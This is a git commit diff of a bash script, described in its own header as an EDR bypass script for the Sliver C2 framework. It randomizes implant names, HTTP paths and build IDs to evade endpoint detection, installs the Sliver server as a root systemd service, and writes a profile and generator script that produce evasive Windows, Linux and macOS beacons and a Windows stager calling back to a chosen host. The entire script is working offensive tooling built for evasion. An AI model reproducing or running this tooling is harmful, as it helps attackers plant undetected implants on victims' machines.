working on getting custom sliver running
This commit is contained in:
+65
-106
@@ -1,5 +1,5 @@
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#!/bin/bash
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# EDR bypass script for Sliver C2 - With all required dependencies
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# Enhanced Sliver randomizer for EDR evasion with dynamic redirector path support
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set -e
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TEMP_DIR=$(mktemp -d)
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@@ -17,10 +17,10 @@ random_string() {
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cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
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}
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# Install ALL required dependencies
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# Install required dependencies
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log "Installing dependencies..."
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apt-get update >/dev/null 2>&1
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apt-get install -y git golang make build-essential zip unzip curl gcc g++ >/dev/null 2>&1
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apt-get install -y git golang-go make build-essential zip unzip curl gcc g++ >/dev/null 2>&1
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# Clone Sliver repository
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log "Cloning Sliver repository..."
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@@ -29,29 +29,17 @@ cd $SLIVER_DIR
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# Examine repository structure
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log "Analyzing Sliver repository structure..."
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IMPLANT_NAME=$(random_string 8)
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IMPLANT_NAME=$(random_string 12)
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log "Using randomized implant name: $IMPLANT_NAME"
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# Generate randomization values
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HTTP_PATH_ONE="/$(random_string 6)/$(random_string 5)"
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HTTP_PATH_TWO="/$(random_string 7)/$(random_string 4)"
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BEACON_MIN=$((30 + RANDOM % 60))
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JITTER=$((10 + RANDOM % 20))
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# Find and modify key files - ImplantName
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log "Changing implant name to $IMPLANT_NAME..."
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# Find and modify key files
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log "Modifying implant name in source code..."
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grep -l "ImplantName.*sliver" --include="*.go" -r . | while read file; do
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sed -i "s|ImplantName *= *\"sliver\"|ImplantName = \"$IMPLANT_NAME\"|g" "$file"
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log "Modified $file: ImplantName = \"sliver\" → ImplantName = \"$IMPLANT_NAME\""
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log "Modified $file: Changed implant name to $IMPLANT_NAME"
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done
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# Modify HTTP transport patterns
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log "Modifying HTTP transport patterns..."
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grep -l "/path/to/file" --include="*.go" -r . | while read file; do
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sed -i "s|\"/path/to/file\"|\"$HTTP_PATH_ONE\"|g" "$file"
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log "Modified $file: \"/path/to/file\" → \"$HTTP_PATH_ONE\""
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done
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# Add unique build ID to sliver.go
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# Add custom build ID to sliver.go
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log "Adding unique build identifiers..."
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SLIVER_GO_FILES=$(find . -name "sliver.go")
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for file in $SLIVER_GO_FILES; do
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@@ -59,102 +47,73 @@ for file in $SLIVER_GO_FILES; do
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log "Added build identifier to $file"
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done
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# Modify build flags
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# Modify build flags for additional randomization
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log "Setting custom build flags..."
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grep -l "LinkerStrip" --include="*.go" -r . | while read file; do
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sed -i "s|LinkerStrip = \"-s -w\"|LinkerStrip = \"-s -w -buildid=$(random_string 10)\"|g" "$file"
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log "Modified $file: Added custom build ID"
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done
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# Build the modified client without compiling the server
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log "Building Sliver client..."
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# Check available targets first
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log "Available make targets:"
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make help | grep client || make -h | grep client || log "Make help not available"
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# Build modified Sliver server and client
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log "Building customized Sliver server and client..."
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make
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# Try to build the client with the correct target
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if make -n client 2>/dev/null; then
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log "Using 'client' target"
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make client
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elif make -n sliver-client 2>/dev/null; then
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log "Using 'sliver-client' target"
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make sliver-client
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else
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log "Falling back to default build"
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make
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fi
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# Check if client was built
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if [ -f "./sliver-client" ]; then
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log "Client build successful"
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# Check if binaries were built
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if [ -f "./sliver-server" ] && [ -f "./sliver-client" ]; then
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log "Build successful - installing customized binaries"
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# Stop any running Sliver service
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systemctl stop sliver 2>/dev/null || true
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# Move binaries to system path
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cp -f ./sliver-server /usr/local/bin/
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cp -f ./sliver-client /usr/local/bin/
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chmod +x /usr/local/bin/sliver-server
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chmod +x /usr/local/bin/sliver-client
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# Create systemd service file
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cat > /etc/systemd/system/sliver.service << EOF
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[Unit]
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Description=Sliver C2 Server (Randomized Build)
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After=network.target
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[Service]
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Type=simple
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User=root
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Group=root
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WorkingDirectory=/root/.sliver
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ExecStart=/usr/local/bin/sliver-server daemon
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Restart=always
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RestartSec=10
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# Security measures
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PrivateTmp=true
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ProtectHome=false
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NoNewPrivileges=true
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[Install]
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WantedBy=multi-user.target
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EOF
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# Create sliver directories
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mkdir -p /root/.sliver/{configs,operators,profiles}
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# Create basic operator config
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/usr/local/bin/sliver-server operator --name admin --lhost 127.0.0.1 --save /root/admin.cfg
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# Start sliver service
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systemctl daemon-reload
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systemctl enable sliver
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systemctl start sliver
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log "Sliver service installed and started"
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else
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log "Client build failed, creating only the profiles"
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log "Build failed - binaries not found"
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exit 1
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fi
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# Create custom profiles directory regardless of build success
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mkdir -p /opt/c2/sliver-profiles
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# Create evasive profile template
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cat > /opt/c2/sliver-profiles/evasive-template.json << EOF
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{
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"name": "evasive-$(random_string 4)",
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"http_urls": ["$HTTP_PATH_ONE", "$HTTP_PATH_TWO"],
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"http_headers": [
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"Accept-Language: en-US,en;q=0.$(( 7 + RANDOM % 3 ))",
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"X-Requested-With: XMLHttpRequest",
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"Cache-Control: max-age=$(( 100 + RANDOM % 400 ))"
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],
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"beacon_interval": $BEACON_MIN,
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"beacon_jitter": $JITTER,
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"kill_date": "$(date -d "+60 days" +%Y-%m-%d)",
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"working_hours": {
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"start": "$(( 6 + RANDOM % 4 )):00",
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"end": "$(( 16 + RANDOM % 6 )):00"
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}
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}
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EOF
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# Create beacon generator script for use with standard Sliver
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cat > /opt/c2/generate_evasive_beacons.sh << 'EOF'
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#!/bin/bash
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# Generate EDR-evasive beacons using randomized profiles
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BEACONS_DIR="/opt/beacons"
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PROFILE_DIR="/opt/c2/sliver-profiles"
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HTTP_HOST=${1:-$(hostname -I | awk '{print $1}')}
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HTTP_PORT=${2:-8888}
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mkdir -p $BEACONS_DIR
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# Generate random profile name
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PROFILE="evasive-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
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# Copy template to profiles directory
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mkdir -p /root/.sliver/profiles/
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cp $PROFILE_DIR/evasive-template.json /root/.sliver/profiles/$PROFILE.json
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sed -i "s/\"name\": \"evasive-[a-zA-Z0-9]*\"/\"name\": \"$PROFILE\"/g" /root/.sliver/profiles/$PROFILE.json
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echo "[+] Generating Windows beacon..."
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sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os windows --arch amd64 --format exe --save $BEACONS_DIR/windows.exe
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echo "[+] Generating Windows DLL beacon..."
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sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os windows --arch amd64 --format shared --save $BEACONS_DIR/windows.dll
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echo "[+] Generating Linux beacon..."
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sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os linux --arch amd64 --format elf --save $BEACONS_DIR/linux
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echo "[+] Generating macOS beacon..."
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sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os darwin --arch amd64 --format macho --save $BEACONS_DIR/macos
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echo "[+] Generating Windows stager..."
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sliver generate stager --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os windows --arch amd64 --format exe --save $BEACONS_DIR/windows-staged.exe
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echo "[+] All beacons generated successfully with evasive profile: $PROFILE"
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EOF
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chmod +x /opt/c2/generate_evasive_beacons.sh
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# Cleanup
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log "Cleaning up..."
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rm -rf $TEMP_DIR
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log "Customization complete."exit
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log "Sliver randomization and installation complete - implant name: $IMPLANT_NAME"
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